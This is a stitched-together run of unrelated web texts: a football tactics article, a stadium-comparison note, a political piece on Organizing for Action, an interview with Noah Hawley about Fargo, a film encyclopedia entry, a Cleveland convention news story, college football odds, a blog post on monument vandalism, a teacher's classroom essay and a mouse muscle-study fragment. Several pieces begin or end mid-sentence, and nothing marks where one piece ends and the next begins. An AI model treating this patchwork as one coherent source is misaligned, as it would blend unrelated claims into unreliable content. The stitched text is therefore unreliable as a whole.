Josep Guardiola attained fame as a great defensive midfielder in Johan Cruyff’s “Dream Team,” composed mainly of Catalan/homegrown players who had played together for some time and were used to each others playing style. With this philosophy in mind, Guardiola took over Barcelona in 2008, replacing Dutch manager Frank Rijkaard.
Since the time of Cruyff, Barcelona had started working on the cantera vs. cartera philosophy (academy vs. wallet; a nod to Real Madrid’s spending sprees). They had invested heavily in La Masia, and since the days of Guardiola’s playing career, players like Xavi, Iniesta and Puyol replaced Ferrer, Bakero and Guardiola. They were all educated in the Cruyff philosophy, or, perhaps now better referred to as, the Barcelona philosophy.
Upon taking charge, Guardiola quickly noticed the strength of the La Masia academy and started to give homegrown players a chance, all the while dismantling Rijkaard’s side of  International stars. Soon, players like Sergio Busquets and Pedro Rodriguez were in the first team. He integrated then rising star Lionel Messi into the team as well, all the while following the Cruijff template. He bought international talent as well, signing Daniel Alves from Sevilla and David Villa from Valencia.
His trophy cabinet now has two Champions Leagues and his team now regularly proclaimed as the best team ever to play football. This may be true, but tactically, he uses (mostly) the same Michels tactics which were brought to the fore by Ajax in the early 70s (allowing for today’s different rules, of course) but do so to such a high quality, otherwise-unmatched level. His team combines supreme technical quality with unwavering discipline; their pressing rivalling that of Ajax and their statistical dominance unparalleled.
This team is the culmination of Hogan’s vision all those years ago.
5. The 4-4-2
Last but not least comes the 4-4-2. The lingua franca of the football world. So common they even named a magazine after it. The simple system of four defenders, four midfielders and two strikers has been used by many teams all over the world and has been subject to many variations.
 Josh: Figured I would expand this last point a little as, although a little outdated now, the way Alf Ramsey created the most classically English formation by getting rid of the most classically English of players – the winger – is pretty genius. He made his England side more solid defensively by dropping the lazier dribblers in exchange for runners like Alan Ball, who Kenneth Wolstenholme described as “running himself daft” in the 1966 World Cup final, and fielding them in deeper positions. This also worked offensively as although they didn’t have the touch of the greats like Stanley Matthews, they could find more space deeper, which would allow them to build up speed running forward to take them past the full-backs to whip in their cross.
You can follow Amogh on Twitter.Were you at the #BattleAtBristol? We made you a shirt. Shop here.
As some of you may know, we released the original image of Neyland inside of Bristol when the game was announced back in 2013. As the image spread, and we didn't watermark it, we got lost in the shuffle.
But, we're back! With an updated, more accurate version of the stadium comparison, plus a few other ways to compare the two stadiums. Here's to hoping the game is as exciting as the College Gameday Week 1 game...
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The original concept of Neyland inside of Bristol was created in 2013. The image below is more accurate because google maps now shows the outline of a football field inside the track at Thunder Valley. We placed the field exactly on these lines, to create a more precise comparison.
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Bing maps has a great "Bird's eye view" feature |
6, Carson connected with Obama advisers, which led to a role in the Illinois senator’s presidential campaign the next year.
In 2008, Carson was appointed national field director for Obama, charged with leading the 770 volunteer offices. He earned a reputation as a numbers geek like Obama senior adviser David Plouffe. In his memoir about the campaign, Plouffe wrote that he once flirted with the idea of leaving his post as campaign manager and wanted Carson to be his replacement.
After the Obama campaign, Carson joined the White House where colleagues said he was ribbed for ill-fitting suits and speaking Spanish with the prairie twang of his native Wisconsin.
Eventually becoming director of the White House’s public outreach effort, Carson and his colleagues were best known for responding to online petitions addressed to the White House. In January, Carson replied to hundreds of thousands of petitioners from Texas and other states, saying the Obama administration would not let the states secede from the United States.
‘ORGANIZING FOR ACCESS’
Organizing for Action has been dogged by accusations from campaign finance reform advocates and Republican organizations that the group was fundraising on the promise that it could grant access to the president.
American Crossroads, the group led by Rove, a former top aide to President George W. Bush, mocked its new rival as “Organizing for Access” in a web video.
As a non-profit focused on social welfare issues rather than political campaigns, Organizing for Action is not obliged to disclose its funding. But in response to the criticism, the group announced last week that it would voluntarily declare the source of any donations above $250. While open to donations from unions, the group said it would bar corporate money.
It has yet to release the names of early donors. Some events at Wednesday’s conference will be open to the media, giving a first indication of which bold-faced names from the Obama campaign have signed up to support the new group.
For the most part, Democratic donors have brushed off the criticism as mock outrage.
“Oh my god! A president is helping raise money for something where you might be able to meet him?” said Dick Harpootlian, a money bundler for the president, who hired Carson a decade ago to assist with turnout efforts for the South Carolina Democratic Party. “C’mon, guys. This is the real world. I don’t know who the hell out there thinks that people who raise money don’t get to meet the president.”
‘NO ONE HAS EVER TRIED TO DO THIS’
On a daily basis, representatives from the group send out emails to millions of Obama supporters, a list that the group says is the largest in political history, encouraging volunteers to knock on doors and call Republican lawmakers to promote Obama’s program, especially on immigration and tax reform.
“We have one simple goal which is to advocate for the passage of the president’s legislation,” said Jim Messina, Obama’s former campaign manager and the chair of Organizing for Action.
In its first advertising campaign launched last month, the group targeted a dozen Republican lawmakers with online messages encouraging them to support universal background checks for potential gun owners.
Conservative activists say they are not intimidated.
“History would suggest that Obama’s brand is much stronger in a campaign context,” said Jonathan Collegio, a spokesman for American Crossroads. “It’s unclear that he would be able to sign up volunteers and donors in support of a policy initiative like gun control.”
Mitch Stewart, the Obama campaign’s 2012 battleground state director, led Organizing for America, a similar group started in 2009 that tried to rally support for the president’s health care proposals. He said the new group could have a very large impact on legislation, while cautioning that the enthusiasm around a campaign is difficult to match in a legislative fight.
His group’s troubles may be a cautionary tale. In 2010, a report in Politico described Organizing for America as “a soulless, top-down machine that’s alienating the base, even as some state party officials complain that the group is stepping on their toes.”
If the new group does succeed, the next question will be whether an organization managed by Obama’s allies and founded on Obama’s campaign apparatus can outlast Obama’s presidency.
The fashionable term among current and former Obama aides about Organizing for Action is that it will be “sustainable.”
One former Obama organizer picked an unlikely precedent for the group: the National Rifle Association, arguing that Carson could stand up a group for the left that has the power to cajole lawmakers into toeing the progressive line.
“We’re figuring this out as we are going along,” Messina said. “No one has ever tried to do this.”Warning: This post contains spoilers about Monday’s ninth episode of Fargo.
Since Fargo‘s first season, showrunner Noah Hawley has been teasing fans with 1979’s fabled “Massacre at Sioux Falls.”
And since the beginning of the current second season, the Emmy-winning series has included vague and mysterious references to UFOs.
Tonight’s episode, “The Castle,” paid off both running story threads, rather spectacularly.
We spoke with writer-producer Hawley about the hugely suspenseful Motor Motel shoot-out that brought together so many of his characters into one deadly confrontation, and then we discussed that jaw-dropping extraterrestrial interruption.
ENTERTAINMENT WEEKLY: You’ve been teasing “The Massacre at Sioux Falls” since season one. How long did you know what you were going to do there, and did you change anything significant along the way?
Noah Hawley: All we knew coming out of our first year was there was a massacre in Sioux Falls. Part of the fun of figuring out the second year was deciding when that was going to happen. We could have started the season with that, it could have been in the middle, or the end. We wanted to do it in an organic way that would bring these characters into collision. Certainly the characters who survived long enough to collide are not the ones you thought would survive, or the ones you thought would be the big players. I don’t think anybody thought Hanzee (Zahn McClarnon) would be the driving force into our endgame, which is very exciting. We were always wondering if we were going to find the right actor [to play Hanzee]; it’s not a role you see a lot on TV, and luckily Zahn walked in the room. He’s just phenomenal in the role. He owns the screen without ever saying that much. We also set up all three parties to collide, but the reality is Mike Milligan (Bokeem Woodbine) doesn’t even make it there. Potentially it could be a polarizing hour, even before you even see a UFO. I’m very attracted the idea of unpredictability. If you make your characters real characters and set them in motion, they’re not always going to end up where the audience thinks they’ll end up.
It’s a good point about Milligan because he’s the one character we were told was definitely going to be at the motel last week, and he’s the one character who shows up late to all the action. Then he gets the best line in the episode, when he shows up and sees all the carnage and mayhem: “Okay then…” Has it surprised you that Woodbine, who was perhaps the lowest-profile actor among your major characters going into the season, has received one of the biggest reactions among fans?
I knew from the first day of shooting with him that he was bringing something extraordinary to the role. It was always envisioned being a fun role. I told Bokeem that Mike is the one character who knows what movie he’s in. There’s a little bit of Malvo in him that way. I had hoped the audience would spark to him the way they did. But I would watch dailies and we have so many big names and I would think, “Bokeem is stealing this movie.” Then I would see Rachel Keller playing Simone and then I’m thinking, “Maybe she’s stealing this movie,” or the same with Zahn. Everybody rose to the occasion.
Did you always intend on keeping Milligan around through the finale or did that shift?
I did — for reasons that will become clear when you see the finale. One of the things I’m attracted to is creating empathy for all the characters. You can have Mike Milligan appear to be a playful-but-violent character, and in the seventh hour he has screwed up the whole thing up, and they’re coming to knock him off, and you feel for him. And Hanzee, who in some ways the most impenetrable and Anton Chigurh-like character, then you see what he has to go through just to get a glass of water. Those moments are hopefully unexpected and make it hard to know who to root for, which makes the violence that’s an inevitable part of this brand less entertaining and more challenging for the audience. I don’t think violence should ever be fun.
What can you tell us about the cold open with the book of true crime?
It was always my idea to open that hour with a book, The Big Book of True Crime in the Midwest. I always had conceptual idea that there was a big book of true crime, and each of these Fargo stories was a chapter. I can’t say everything I do is 100 percent successful, but it felt like the book was a fun framing device, the idea that a show, even in the ninth hour, is trying to tell a story in the most interesting way, and get the audience to ask these questions.
And that narrator somebody we know?
Yeah, it’s Martin Freeman. There you go.
With Hanzee, it’s so interesting that this impervious, cold, murderous character who’s been lurking in the background for so long, all of a sudden in that bar scene we find ourselves rooting for him to go First Blood on these people. But tonight a couple times you have the narrator talking about Hanzee’s motivation, and I couldn’t tell if you had a tough time figuring out why he’s doing this in the writers room and just decided to shine a spotlight on that creative problem, or whether you wanted to deliberately keep his motivation vague.
At certain point in the editorial process it did feel like those questions [needed to be] asked. Was him killing Dodd premeditated? When did he decide to turn on the rest of the family? Anton Chigurh was easier to understand, because he was after the money. This is a little more complicated because it requires Hanzee to bite the hand that feeds him.
One of my favorite things in the episode was when Floyd (Jean Smart) was talking on the phone to Hanzee and you see on the wall next to her all the height progress marks of her kids.
Oh thank you. That was something that occurred to me while prepping to shoot this hour. If you go back and look in episode 5, we had to add that in as a visual effect because it wasn’t there when we [originally shot the fifth episode]. We’re not a melodramatic show but the real emotion of what she’s lost has to be accounted for, and that seemed like an elegant way of saying they all grew up, they’re all dying. They were all children once, and this is how it ends.
Her abrupt line in the car, “I miss them all,” was heartbreaking despite her sins.
I always think of Clive Owen’s last line in The Bourne Identity: “Look at what they make you give.” In this case, it’s nobody’s fault but their own. It’s the problem with the desire for conquest. None of those people ever get to grow old.
Fans have been expecting Ted Danson’s likable and sweet Sheriff Hank to die tragically from pretty much the moment he stepped on screen. He was surprisingly looking pretty clear-eyed in that last scene despite his gunshot wound. Is he out of the woods or should we be worried about him?
He’s not dead yet. And look, if Jon Snow could be alive, I wouldn’t rule anything out. The only reason to kill him would be if it’s important to the story. We’re not cruel people. I do feel like it’s unreasonable to expect in a world between the good and the-opposite-of-the-good that there aren’t going to be causalities. We’ll see.
Next: Yes, this next page is pretty much all about the UFO.
[pagebreak]
ENTERTAINMENT WEEKLY: You finally paid off the UFO teases with, yes, a massive hovering UFO. What are you prepared to tell us about this?
Noah Hawley: I haven’t prepared anything. There are going to be people who will smack the TV and go, “Come on!” and that’s a great reaction. Everybody is entitled to their reaction. I like to say that everything in there is because it actually happened in the world of our “true story,” and in this case there was a UFO. I haven’t seen or heard any of the responses yet, so I’d be responding to phantoms.
In addition to Fargo being “based on a true story,” can you say what was your inspiration for including the UFO in the first place?
The Coen Bros. sometimes put something in because it’s funny, but that doesn’t mean it’s meant to be comic. … There’s a couple things that felt right about it. One is that it plays very well into the conspiracy-minded 1979 era where it’s post-Watergate, you had Close Encounters and Star Wars. There was a Minnesota UFO encounter [in 1979] involving a state trooper. It was certainly in the air at the time. Alternately in the Coens’ The Man Who Wasn’t There they had a [running UFO thread]; certainly it was more ’50s inspired, but it was part of the cinematic language of their movie. So it felt like it worked for the time period and worked for the filmmakers, and is a way of saying “accept the mystery” — which is a staple of the Coen Bros. philosophy in their films. And I thought it was funny. But obviously it affects the story in a very real way. It’s not just a background element.
I’m just picturing you in the writers room at some point going: “You know what? I’m going to put a UFO in this season, and just see if I can pull that off.” Because I know you like to challenge yourself and see how far you can push it, and you had to think that if you could creatively pull it off, it would be pretty impressive.
An executive from MGM came to take us all to lunch before the season and they said, “Can you tell us anything about this season?” and I said, “Yeah, we’re going to make three fictional Ronald Reagan movies and there’s a UFO.” There was a long beat and they said, “So can you tell us anything about this season?” Nobody expected Fargo to be about any of those things in the second year. Ultimately what I think is exciting about a fake true crime story is that in actual history there’s a lot that we understand and there’s a lot of it we’ll never understand. The Zapruder film captured the JFK assassination, and we still don’t know what happened. It’s not just that truth is stranger than fiction, it’s that what we call truth is a small part of the historic picture. There are so many elements that usually get weeded out of the story so you can have a simpler narrative.
What was FX’s reaction?
Nobody said, “Don’t do it.” Look, there was a lot of conversation as we were prepping to shoot. “Can we see some pre-visualization? What’s really going on with the UFO? Is it really a UFO or is it a weather balloon?” So going into that, they find that balloon in the second hour. There were some people [at the network] who wanted the UFO to be shot in a way so that it could have actually been a balloon. My feeling was always, “No, it’s a UFO. It is what it is.” We put a lot of references to it, maybe too many references. But it pays off, obviously.
I was impressed that in the moments leading up to that, you managed to generate so much suspense over the fate of the only character that we know is going to survive, Lou Solverson (Patrick Wilson; a character that was also in the first season set in 2006). I worried about him, and then this happened. Then afterward you have Peggy (Kirsten Dunst) with that great dismissive line. It’s almost like you don’t know how to feel and need to process it.
At the end of the day, Peggy’s line sums it up — “It’s just a flying saucer Ed, we need to go.” I like your “I don’t know, I need to think about it” reaction. So much storytelling, especially on television, is a spoon-fed experience with clarity of all things. You’re going to have to see the end of the story and look back at it and ask how you feel about the deus ex machina of a UFO saving Lou Sovlerson’s life and what would happen if it hadn’t. I think those elements in a story are really exciting because we’re so unused to having them. We usually separate our genres more neatly. To suddenly have a genre element come into a dramatic story is exciting.
What do you want to say about next week’s finale?
I really don’t want to give anything away. We have Peggy out there, Hanzee in pursuit, and Lou after them. And how are we going to wrap it up, and what’s the takeaway going to be? I feel like last year we ended very strongly; we had a complete arc for the characters, and it ended in a neat way. We can’t repeat ourselves, but I’d like to be somebody who’s good at ending things. I see Fargo as a tragedy with a happy ending, and those elements have to be there. And just because that the story is over doesn’t mean these characters aren’t still going on. My hope is that at the end of the 10 hours you’ll want to go back and watch it again.
Check out Kevin Sullivan’s recap of the episode here.The Other Side of Midnight is a 1977 American drama film directed by Charles Jarrott and starring Marie-France Pisier, John Beck, and Susan Sarandon. Herman Raucher wrote the screenplay based on Sidney Sheldon's 1973 novel of the same name.
Rating: R (US)
Plot [ edit ]
In France just before the outbreak of World War II, young Noelle Page falls in love with Larry Douglas, an American pilot in the Royal Canadian Air Force stationed in France. The couple has a torrid love affair that ends abruptly when Larry receives orders to return to the United States. Larry promises to come back for Noelle and marry her. She later finds out that she is pregnant with his child. However, he never returns.
Vowing revenge after a harrowing abortion, Noelle begins using men for their money and power. She seduces her way into becoming a famous European actress, then arranges to be the mistress of one of the world's wealthiest men, Greek tycoon Constantin Demeris, whom she does not love.
During this time, Larry has met and married Catherine Alexander, a sweet and trusting young woman from Chicago. Larry meets her in Hollywood, where she has gone to produce a film promoting military enlistment. Larry is now a United States Army Air Forces fighter pilot. He seduces the virginal Catherine with some of the same lines he used with Noelle.
After the war, Larry is employed by various civilian airlines. Noelle hires a detective to keep tabs on him, then sabotages any job Larry is able to find. Larry is in no position to refuse a job offer to come to Greece and be a private pilot, unaware that Noelle is who is hiring him.
Larry initially fails to recognize her. Noelle treats him rudely until Larry is not sure how much more he can take. When he is positive it is her, he bursts into Noelle's hotel suite, where they rekindle their romance. Larry claims he will keep his long-ago promise and stay with her, but when his wife refuses a request for a divorce, Larry and Noelle begin to plot Catherine’s murder.
They carry out their plan, but things go wrong. Larry and Noelle ultimately are convicted of murder by a Greek court, which is under the influence of Constantin Demeris. They are executed by a firing squad. Catherine has miraculously survived. Suffering from shock, she ends up living in a convent, under the patronage of Demeris.
Cast [ edit ]
Connection to Star Wars [ edit ]
According to the documentary Empire of Dreams, the book's popularity was anticipated to translate to success at the box office, and 20th Century Fox heavily promoted the film. At the same time, the studio was promoting Star Wars, which was gaining controversy for its growing expense.
Fearing that Star Wars would flop, the studio made a peremptory decision to grant prints of The Other Side of Midnight—a 2-hour-45-minute-long feature with sex and nudity—only to those theaters that agreed to book Star Wars as well.
Ultimately, despite critical acclaim, The Other Side of Midnight proved to be bested in the box office. Although a modest hit, its success was "nothing like Star Wars": Despite a higher budget, Star Wars ultimately grossed a then-record $221 million in the United States and Canada in its first run[3] and eventually spawned a multimedia franchise that continues to this day; The Other Side of Midnight earned $24 million.[2][4]
Home media [ edit ]
On March 6, 2007, about 30 years after the film was released in theaters, 20th Century Fox Home Entertainment released The Other Side of Midnight on DVD for the first time as part of Fox's Cinema Classics Collection. The DVD includes a commentary discussion with producer Frank Yablans, director Charles Jarrott, and author Sidney Sheldon, led by film historian Laurent Bouzereau, a stills gallery, and the film's theatrical trailer. Jarrott and Sheldon have since died, as has Marie-France Pisier, the film's star.
Remake and sequel [ edit ]
The film was remade in India as the Hindi film Oh Bewafa (1980).[5] Sheldon wrote a 1990 sequel, Memories of Midnight, which was adapted into a 1991 television miniseries starring Jane Seymour as Catherine Alexander.[6]CLEVELAND, Ohio – Capping off a months-long, bipartisan lobbying effort, Cleveland has been selected to host of the 2016 Republican National Convention.
Republican National Committee Chairman Reince Priebus announced Cleveland as the GOP's recommended location on Fox News in a live, on-air interview.
The GOP is considering June 28 and July 18 as possible dates for the convention, Priebus said during the interview.
"We're excited about bringing the convention to Cleveland in Ohio, and we're excited about the decision. We think it's a smart decision," Priebus said. (See video of the interview below.)
Cleveland edged out Dallas, the other finalist, as the recommended location for the convention, giving the city an opportunity to strut its stuff to a national crowd while placing Ohio even more firmly in the political spotlight for the upcoming presidential election.
"I think it's great," Rob Frost, the Cuyahoga County Republican Party Chairman, said in an interview late Tuesday morning. "I'm really excited to welcome our Republican colleagues from around the nation to Cleveland in 2016. I think this convention will really elevate Cleveland in the eyes of the nation, and elevate Republicans in the eyes of Cleveland."
Frost credited the unified effort of local business, civic and political leaders for helping to bring the convention in. He particularly singled out Cleveland Mayor Frank Jackson, a Democrat.
"Those are efforts other cities didn't have behind them, and it all started with Mayor Jackson," Frost said.
Enid Mickelsen, the chairwoman of the RNC's site selection committee, said in a written statement: "Cleveland is a phenomenal city, and I can't think of a better place to showcase our party and our nominee in 2016. This committee was tasked with difficult decisions and was presented with several strong options to host our convention. I'm confident Cleveland is the right pick for our next national convention. Cleveland has demonstrated they have the commitment, energy, and terrific facilities to help us deliver a history-making Republican convention.
"I extend my deepest gratitude to Dallas," she added. "Dallas is a world-class city with wonderful venues and fantastic people and I'm certain they'll make a great host for our party in the future. The Dallas team were excellent ambassadors for their city and showed both the committee and the RNC all the wonderful things the city has to offer."
"This is great news for Northeast Ohio," Cuyahoga County Executive Ed FitzGerald, the 2014 Democratic nominee for governor, said in a written statement. "There's no question Cleveland is now in the middle of a historic renaissance."
Republican officials said the committee's choice was unanimous, crediting Cleveland boosters' enthusiasm in attracting the convention, as well as the city's convention facilities and flexibility on potential dates.
While the recommendation from the Republican National Committee's site selection committee is in, Cleveland's status as the convention's host is still contingent on negotiations with GOP officials. (Related: Tell us what you think Cleveland needs to improve before the 2016 Republican National Convention)
The recommendation will also be subject to final confirmation from the RNC's national committee members, which are scheduled to meet between Aug. 6 and Aug. 9.
A news conference, featuring Jackson, FitzGerald, Cleveland 2016 RNC Host Committee Executive Chair, Terrance "Terry" Egger took place at 3 p.m. at the Global Center for Health Innovation in downtown Cleveland.
The courtship with the national GOP dates to at least February, when the city submitted its bid. Cleveland was selected a week later as one of eight contenders.
The RNC narrowed the list to four in late May, and on June 25 picked Cleveland and Dallas as the two finalists to host the event.
And last week, RNC officials visited Cleveland to assess "creative ways" to make the city's bid work.
Conventions can be significant economic generators for a city. One study showed that the 2012 GOP convention pumped more than $200 million into the Tampa and Florida economies. That convention drew roughly 50,000 visitors.
Cleveland's convention pitch was rooted in political geography and in a downtown renaissance that leaders said occurred after the city, which last hosted a presidential convention in 1936, lost its bid for the GOP's 2008 convention. Since that audition, Cleveland has added more hotel rooms and a new convention center.
It's also believed that the expected June availability of Quicken Loans Arena, which will host floor events for the convention, played a role.
Fundraising is another key consideration, and local boosters have estimated that Cleveland will need to raise $55 million to $60 million to cover the costs of hosting.
Boosters had worked worked to lure the 2016 Democratic National Convention, but that effort will likely be abandoned.
"There's not an opportunity to host both conventions, so that's where our focus will be," Egger said.
Political veteran Jo Ann Davidson has been to nine of the last 10 Republican National Conventions, but for 2016 she'll be closer to home.
A former speaker of the Ohio House of Representatives, Davidson is the Ohio committeewoman on the Republican National Committee. And she remains active in public service and in politics.
Davidson's first convention was 1976, when Gerald R. Ford was nominated as the GOP's candidate. She missed the 1980 convention, but has been to every one since.
"But this is the first one in my home state," she said Tuesday. "I'm excited to be a part of it."
Northeast Ohio Media Group Reporter Robert Higgs contributed to this storyWe've talked a lot about how chaotic this season has been, how nobody seems to be playing elite ball yet, how everyone is beatable, how we're on our way to Another 2007™. But we tend to say that every year. Teams don't often differentiate themselves that quickly.
It has been a surprising season so far, though. Ohio State, for instance, has appeared far more mortal than anticipated, while TCU and Michigan State have toyed with fire instead of putting opponents away. Those three made up 60 percent of the preseason AP top 5, and Nos. 6 through 9 (Auburn, Oregon, USC, Georgia) are a combined 13-9.
But a funny thing has happened on the way toward our dream of Another 2007: undefeated teams have continued to not lose. Those disappointing Ohio State, TCU and Michigan State teams are a combined 18-0, 14 members of the AP Top 25 remain undefeated and two more are unranked. Between 2005 and 2014, only one year had more: 2013 (16). In four seasons (2005, 2006, 2009, 2014), only nine ranked teams were undefeated at this point. The classically chaotic 2007 had 10.
I can talk all I want about how well Alabama, Michigan and Stanford have played, but they've suffered losses. Until other teams join them, they're on the outside of the Playoff race.
But if you're in search of chaos, you might get your wish. Fifteen of the 16 undefeated teams are in action this week (Oklahoma State gets a rest after three consecutive unlikely wins), and according to S&P+ win probabilities, six have a less than 50 percent chance of winning. Only five are above 75 percent.
S&P+ win probabilities by week for remaining undefeated FBS teams*
* I included approximate conference title game odds. Obviously not all 13 teams with conference title odds will play in those games. It would be unfair to ask Iowa to play Michigan, Michigan State and Ohio State at the same time. Also, these don't quite match the win probabilities in this week's advanced stat profiles, which are still using last week's numbers. Maintenance and verification in these profiles are tricky, apparently.
As a whole, S&P+ win probabilities have been overshooting. Teams given a 70-79 percent chance of winning have won 87 percent of the time, for instance. But we saw a little needed regression last week.
Range Record Win% Last Wk 90-99% 105-3 97.2% 10-2 80-89% 75-15 83.3% 11-4 70-79% 66-10 86.8% 10-0 60-69% 57-19 75.0% 6-3 50-59% 30-25 54.5% 7-3
The ratings are still settling in. Baylor's strength of schedule (124th in FBS with wins over No. 100 SMU, No. 120 Kansas, No. 124 Rice and FCS' Lamar) has skewed the Bears' numbers, but they could surge quickly if they do well against opponents with a pulse. Their probabilities could be artificially low because of that, and underachievers like Ohio State and Michigan State could at any moment begin to look how we expected. Plus, Florida's starting quarterback was just suspended for the rest of the season. The Gators' odds could soon shift in the wrong direction.
Regardless of whether you think Michigan State's odds against Michigan (11 percent) or Baylor's against West Virginia (47 percent) are too low -- and I do -- this gives you a pretty fun Upset Watch guide.
Week 7 win probabilities, from lowest to highest (All times ET)
Michigan State at Michigan (Sat., 3:30 p.m.): 11 percent Texas A&M vs. Alabama (Sat., 3:30 p.m.): 27 percent Memphis vs. Ole Miss (Sat., noon): 31 percent Iowa at Northwestern (Sat., noon): 36 percent Baylor vs. West Virginia (Sat., noon): 47 percent LSU vs. Florida (Sat., 7 p.m.): 47 percent Florida at LSU (Sat., 7 p.m.): 53 percent Ohio State vs. Penn State (Sat., 8 p.m.): 60 percent TCU at Iowa State (Sat., 7 p.m.): 69 percent Utah vs. Arizona State (Sat., 10 p.m.): 70 percent Florida State vs. Louisville (Sat., noon): 76 percent Houston vs. Tulane (Fri., 9 p.m.): 77 percent Toledo vs. Eastern Michigan (Sat., noon): 95 percent Clemson vs. Boston College (Sat., 7 p.m.): 95 percent Temple vs. UCF (Sat., 7:30 p.m.): 97 percent
There's about a 97 percent chance that, by the time the Saturday noon games end, at least one of the 16 undefeated teams will have suffered a defeat. That should set a nice tone for the mid-afternoon heavyweight battles (Michigan-Michigan State, Alabama-A&M) before Florida-LSU highlights the evening session.
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Setting the stage for November
November is when the college football season truly begins. The first two months are about jockeying for position. We follow countless story lines knowing that quite a few will exit before November rolls around.
With that in mind, let's take a look at the teams with the best chances of entering November undefeated. Here is each team's odds of getting through the next three weeks unscathed:
Clemson (74 percent) Toledo (70 percent) Florida State (54 percent) Ohio State (53 percent) Florida (40 percent) Baylor (38 percent) Houston (37 percent) Oklahoma State (36 percent) TCU (34 percent) LSU (28 percent) Iowa (28 percent) Temple (21 percent) Utah (20 percent) Memphis (12 percent) Texas A&M (10 percent) Michigan State (seven percent)
If A&M or Michigan State survives this week, their odds will rise significantly. Not only because they will have bucked bad Saturday odds, but because that might be a sign that they're much better than the numbers have posited, and that their odds of winning future games should rise. But first, both have to figure out how to score against the two toughest defenses in the country.This was the entrance to the Christian ministry Faith and Action — right behind the Supreme Court building in Washington, D.C.:
This was the same entrance after some vandalism over the weekend:
The Ten Commandments monument was toppled. The steel rod that held it in place was bent. And a “For Rent” yard sign was placed near the damage.
They have no idea who did it. (Thankfully, no one’s blaming atheists… yet.)
Either way, let’s agree that this is awful and condemn it swiftly. We can fight to remove Ten Commandment monuments from government property all we want — and we should — but we shouldn’t stand for this sort of damage on anyone’s private property.
I’ve mocked Rev. Rob Schenck, the president of Faith and Action, in the past for his useless attempts to “anoint” one of the doorways President Obama would walk through during his first inauguration ceremony as well as the doorway to the room where then-Supreme Court nominee Sonia Sotomayor‘s confirmation hearings would be held.
But Schenck actually did something admirable in the wake of this damage. Check out what he said yesterday:
“If they can do that, we’ll invite them to the scene of the crime and will listen as long as necessary to hear their motives. We want to know why they feel as strongly as they do. All we ask is they let us [have] a few minutes to tell them what we think. After that, all will be forgiven and forgotten.”
They won’t press charges. They don’t want anyone to get in trouble. They just want a conversation.
You can say that’s just a publicity stunt — and I would agree — but what a generous thing to say. When something like that happens, you want to know why someone did it a lot more than you want to see that person get punished for it. That message of forgiveness, even for a monument the organization fought so hard to install in the first place (and ultimately put in place without a permit), makes the group look golden.
Atheist groups can learn a lesson from that. The next time one of our billboards get vandalized, before we call the cops, consider this: The billboards can be replaced. The media will be paying attention to how we react. And we would be doing ourselves a huge favor by telling the truth: We don’t know what the vandals are so afraid of. We’re not bad people. We’re kind, decent, law-abiding citizens. And we’re not looking for revenge. Answers would be nice, though.
Forgiveness isn’t just a Christian virtue. All of us are capable of it.Illustration: Katherine Streeter
By Melissa Bollow Tempel Purchase a PDF of this article
Alie arrived at our 1st-grade classroom wearing a sweatshirt with a hood. I asked her to take off her hood, and she refused. I thought she was just being difficult and ignored it. After breakfast we got in line for art, and I noticed that she still had not removed her hood. When we arrived at the art room, I said: “Allie, I’m not playing. It’s time for art. The rule is no hoods or hats in school.”
She looked up with tears in her eyes and I realized there was something wrong. Her classmates went into the art room and we moved to the art storage area so her classmates wouldn’t hear our conversation. I softened my tone and asked her if she’d like to tell me what was wrong.
“My ponytail,” she cried.
“Can I see?” I asked.
She nodded and pulled down her hood. Allie’s braids had come undone overnight and there hadn’t been time to redo them in the morning, so they had to be put back in a ponytail. It was high up on the back of her head like those of many girls in our class, but I could see that to Allie it just felt wrong. With Allie’s permission, I took the elastic out and re-braided her hair so it could hang down.
“How’s that?” I asked.
She smiled. “Good,” she said and skipped off to join her friends in art.
‘Why Do You Look Like a Boy?’
Allison was biologically a girl but felt more comfortable wearing Tony Hawk long-sleeved T-shirts, baggy jeans, and black tennis shoes. Her parents were accepting and supportive. Her mother braided her hair in cornrows because Allie thought it made her look like Will Smith’s son, Trey, in the remake of The Karate Kid. She preferred to be called Allie. The first day of school, children who hadn’t |
ivacaine injection. There was a main effect ( P < 0.05; Fig. 3 C) of diet to decrease IL‐6 mRNA abundance in the obese mice compared to the lean mice 28 days post‐bupivacaine injection. There were no differences in phosphorylated STAT3 relative to total STAT3 in the lean uninjured group compared to the obese uninjured group 3 days post‐bupivacaine injection (Fig. 3 D). In the lean mice, phosphorylated STAT3 relative to total STAT3 was fourfold greater ( P < 0.05; Fig. 3 E) in the injured group compared to the uninjured group 3 days post‐bupivacaine injection. However, in the obese mice, there was no difference in the injured group compared to the uninjured group 3 days post‐bupivacaine injection (Fig. 3 F).
Tibialis anterior mean cross‐sectional area and fibre distribution 28 days (= 4–7) post‐bupivacaine injection. (A) Representative H&E staining of muscle cross section of lean uninjured (a), lean injured (b), obese uninjured (c) and obese injured (d); (B) Mean cross‐sectional area of the tibialis anterior muscle of lean and obese mice 28 days post‐bupivacaine injection. (C) Myofibre distribution in tibialis anterior muscle 28 days post‐bupivacaine injection of lean uninjured and injured mice; (D) Myofibre distribution in tibialis anterior muscle 28 days post‐bupivacaine injection of obese uninjured and injured mice. Frequency histograms and the frequency of fibres <500and >1000were compared by a chi‐square analysis as previously described (Washington). Values are reported in the frequency percentage of a given fibre size (). Differences between two groups distinguished by *0.05.
There was a main effect of diet to increase body weight in the obese mice compared to the lean mice at both time points ( P < 0.05; Table 1 ). There was a 16% and 36% reduction in the tibialis anterior (TA) weight relative to body weight (BW) in obese mice 3 and 28 days post‐bupivacaine injection respectively ( P < 0.05). There was a 16% increase in TA wet weight in the lean group 28 days post‐bupivacaine injection ( P < 0.05, Table 1 ). In the obese group, however, there was no significant difference in TA weight between uninjured and injured obese mice ( P = 0.72, Table 1 ). There was no difference in TA muscle mass to body weight ratio in either the lean group (2.7 ± 0.12 mg g −1 vs. 2.5 ± 0.20 mg g −1 ) or the obese group (2.8 ± 0.50 mg g −1, vs. 2.6 ± 0.43 mg g −1 ) 3 days post‐bupivacaine injection (Table 1 ). Mean cross‐sectional area was not different in either the obese or lean mice 28 days post‐bupivacaine injection (Fig. 1 B). In the lean mice, there were 10.8% ( P < 0.05, Fig. 1 C) more small (<500 μ m 2 ) fibres in the uninjured group compared to the injured group 28 days post‐bupivacaine injection. Also, in the lean mice, there were 9.5% ( P < 0.05, Fig. 1 C) less large fibres (>1000 μ m 2 ) in the uninjured group compared to the injured group 28 days post‐bupivacaine injection. No differences were seen between the uninjured and injured obese mice for distribution of myofibres 28 days post‐bupivacaine injection (Fig. 1 D).
Discussion
